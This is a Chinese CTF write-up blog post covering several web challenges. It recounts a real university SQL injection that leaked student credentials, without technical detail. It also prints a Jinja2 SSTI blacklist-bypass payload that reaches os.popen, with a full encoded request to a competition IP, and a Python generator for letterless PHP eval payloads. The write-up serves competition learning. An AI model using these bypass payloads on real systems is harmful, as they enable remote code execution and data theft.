Author:颖奇L’Amore

Blog:www.gem-love.com

在女朋友家,下午时候简单把题做了下,最后一个node没来得及做,这题和前几天DEFCON Final的一个web有点像,等晚上有时间如果题目还开着的话再看看


安恒大学

这题是我出的,按照保密协议不能透露详细的解法,只是简单说一说出题想法,因为肯定很多人都不知道这题是考啥的。

首先,正如注释中缩写的,这是一道实战改编题,但是为了防止泄露思路,在注释中我没有给出更多的细节。由此在做渗透测试时,在一个系统的某个不起眼的地方——邮件激活链接发现了SQL注入,并得到了全校所有学生的内网平台账号密码,而学生的所有信息、所有网上办事等等几乎都使用校内网平台的账号密码,这是非常恐怖的。

同时,作为一名WEB方向的CTF选手,从CTF角度评估这道题目的话,这是否是一个好题是有待商榷的,这题的解法更像是非预期,有那种“给一大堆业务逻辑但是在无所谓的地方直接日穿”的感觉。但是渗透测试就是这样,任何地方都有可能产生漏洞,而干扰的内容又很多,只有大量的测试才能找到漏洞,所以既然是实战改编就干脆实事求是,也没必要特意改成CTF风格,CTF毕竟是比赛,以后去工作了早晚是要面对真实生产环境的。

在出题时,虽然不能百分百还原,但是本题目已经尽可能在CTF题目的基础上的还原当时的情形了:

  1. 注册、登录,注册需要邮件激活,邮件确实会发到你的邮箱里
  2. 登录后是学生信息系统(网上找的几年前的系统 还算比较符合实际 因为现在的大学用的基本还都是几年前的系统),里面有很多功能(虽然我已经删过十几种了),很具有迷惑性,每个页面都是干扰项
  3. 数据量大,在flag所在的column中塞了12条数据,用来模拟1w名学生的账号密码(毕竟是ctf题数据太多了也没意思所以就弄了12条),而不像大部分sqlselect flag from flag就可以直接出flag

ezflask

之前见到过类似的题,然而忘了从哪见过了,本地存了当时的exp,直接用当时的exp就可以构造任意字符串


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)


@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

过滤的死死的了,尤其没有attr很难受,所以想办法eval,好在题目没有过滤globals,那就简单了,从globals里把eval函数找出来,然后构造任意字符串放进去RCE即可。

构造payload:

#Author:颖奇L'Amore
{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}  # _
{% set spa = ((app.__doc__|list()).pop(102)|string())%}  #空格
{% set pt = ((app.__doc__|list()).pop(320)|string())%}  #点
{% set yin = ((app.__doc__|list()).pop(337)|string())%}   #单引号
{% set left = ((app.__doc__|list()).pop(264)|string())%}   #左括号 (
{% set right = ((app.__doc__|list()).pop(286)|string())%}   #右括号)
{% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349)%}   #斜线/
{% set bu = dict(buil=aa,tins=dd)|join() %}  #builtins
{% set im = dict(imp=aa,ort=dd)|join() %}  #import
{% set sy = dict(po=aa,pen=dd)|join() %}  #popen
{% set os = dict(o=aa,s=dd)|join() %}  #os
{% set ca = dict(ca=aa,t=dd)|join() %}  #cat
{% set flg = dict(fl=aa,ag=dd)|join() %}  #flag
{% set ev = dict(ev=aa,al=dd)|join() %} #eval
{% set red = dict(re=aa,ad=dd)|join()%}  #read
{% set bul = xhx*2~bu~xhx*2 %}  #__builtins__

#拼接起来 __import__('os').popen('cat /flag').read()
{% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %} 


{% for f,v in y1ng.__init__.__globals__.items() %} #globals
	{% if f == bul %} 
		{% for a,b in v.items() %}  #builtins
			{% if a == ev %} #eval
				{{b(pld)}} #eval(pld)
			{% endif %}
		{% endfor %}
	{% endif %}
{% endfor %}

访问即可获得flag:

http://183.129.189.60:10025/?name=?{%%20set%20xhx%20=%20(({%20}|select()|string()|list()).pop(24)|string())%}{%%20set%20spa%20=%20((app.__doc__|list()).pop(102)|string())%}{%%20set%20pt%20=%20((app.__doc__|list()).pop(320)|string())%}%20{%%20set%20yin%20=%20((app.__doc__|list()).pop(337)|string())%}{%%20set%20left%20=%20((app.__doc__|list()).pop(264)|string())%}%20{%%20set%20right%20=%20((app.__doc__|list()).pop(286)|string())%}%20{%%20set%20slas%20=%20(y1ng.__init__.__globals__.__repr__()|list()).pop(349)%}%20{%%20set%20bu%20=%20dict(buil=aa,tins=dd)|join()%20%}{%%20set%20im%20=%20dict(imp=aa,ort=dd)|join()%20%}{%%20set%20sy%20=%20dict(po=aa,pen=dd)|join()%20%}{%%20set%20os%20=%20dict(o=aa,s=dd)|join()%20%}%20{%%20set%20ca%20=%20dict(ca=aa,t=dd)|join()%20%}{%%20set%20flg%20=%20dict(fl=aa,ag=dd)|join()%20%}{%%20set%20ev%20=%20dict(ev=aa,al=dd)|join()%20%}%20{%%20set%20red%20=%20dict(re=aa,ad=dd)|join()%}{%%20set%20bul%20=%20xhx*2~bu~xhx*2%20%}{%%20set%20pld%20=%20xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right%20%}%20{%%20for%20f,v%20in%20y1ng.__init__.__globals__.items()%20%}{%%20if%20f%20==%20bul%20%}{%%20for%20a,b%20in%20v.items()%20%}{%%20if%20a%20==%20ev%20%}{{b(pld)}}{%%20endif%20%}{%%20endfor%20%}{%%20endif%20%}{%%20endfor%20%}

rceme
<?php
error_reporting(0);
show_source(__FILE__);
$code=$_POST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
    if (preg_match ('/' . $blacklisted . '/im', $code)) {
        die('you are not smart');
    }
}
eval("echo($code)");
?>

一点点构造就好了,我中间出了点弱智错误导致浪费了些时间,虽然有点麻烦但是不需要用或运算,对于加固了正则的题目还可以继续打,exp:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests
from urllib.parse import quote_plus

def g(payload, buff):
	offset = 3 + buff
	res = ""
	base = 65
	for i in range(len(payload)):
		if payload[i] == '_' or payload[i] == '/':
			continue
		_ascii = ord(payload[i])
		#init
		underline =  "$" + ("_" * (i + offset))
		undefined = "$" + ("_" * (len(payload) + offset + 15))
		var = f"++{underline};$__-={underline};$__++;{underline}/=$__;{underline}=(({undefined}/{undefined}).{underline})"+r"{++$__};$__--;"
		res += var;
		tmp = ''
		if _ascii > base:
			for i in range(_ascii-base):
				tmp = tmp + f"++{underline};"
		res += tmp

	first =  "$" + ("_" * offset)
	for i in range(1, len(payload)):
		if payload[i] == '_':
			res += f"{first}.='_';"
			continue
		if payload[i] == '/':
			res += f"{first}.='/';"
			continue
		final_var = "$" + ("_" * (i + offset))
		res += f"{first}.={final_var};"
	return [res, "$" + "_" * (offset)]

pre = "'');"
after = '//'

buff = len('STRTOLOWERSHOW_SOURCE')
flag = g("/FLAG", buff)

buff = len('STRTOLOWER')
showsource = g("SHOW_SOURCE", buff)

buff = 0
strtolower = g('STRTOLOWER', buff)

final = ''

#1.构造STRTOLOWER并存进变量a
final += strtolower[0]
a = strtolower[1] # a = '$___' # STRTOLOWER

#2.构造SHOW_SOURCE并存进变量b
final += showsource[0]
b = showsource[1] # b = '$_____________' #SHOW_SOURCE

#3.构造/FLAG并存进变量c
final += flag[0] + flag[1] + "='/'." + flag[1] + ';'
c = flag[1] # c = '$________________________' #/FLAG

#声明好abc变量
padding = f'$______________________________________________={a};$_______________________________________________={b};$________________________________________________={c};'
final += padding

# 4.变量d = a(c) 则变量d为/flag
d = "$______________________________________________($________________________________________________);"
padding = '$_________________________________________________='+d
final += padding

#5. b(d) 即为SHOW_SOURCE('/flag')
final += '$_______________________________________________($_________________________________________________);'

final = pre + final
final = final + after

print(final.replace('+', '%2b'))

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/ctf/2598.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示


颖奇L'Amore

Most of the time is also called Y1ng. Cisco Certified Internetwork Expert - Routing and Switching. CTF player for team r3kapig. Forcus on Web Security. Islamic Scholar. Be good at sleeping and fishing in troubled waters.

5 条评论

Itachi · 2020年8月25日 23:51

Y1ng师傅说题已经把我虐了 开头第一句还要虐一次 呜呜呜 别杀了 别杀了

洛柒尘 · 2020年8月26日 20:41

我猜到了是邮箱激活链接,看了半天都没看出是sql

    颖奇L'Amore · 2020年8月26日 22:01

    一个账号注册需要账号、密码、激活码、是否已激活、激活码是否过期,这些东西当然是要用数据库的啊

Mondayice · 2020年11月11日 22:46

前来学习,在比赛中遇到这个了

发表评论

电子邮件地址不会被公开。 必填项已用*标注

在此处输入验证码 : *

Reload Image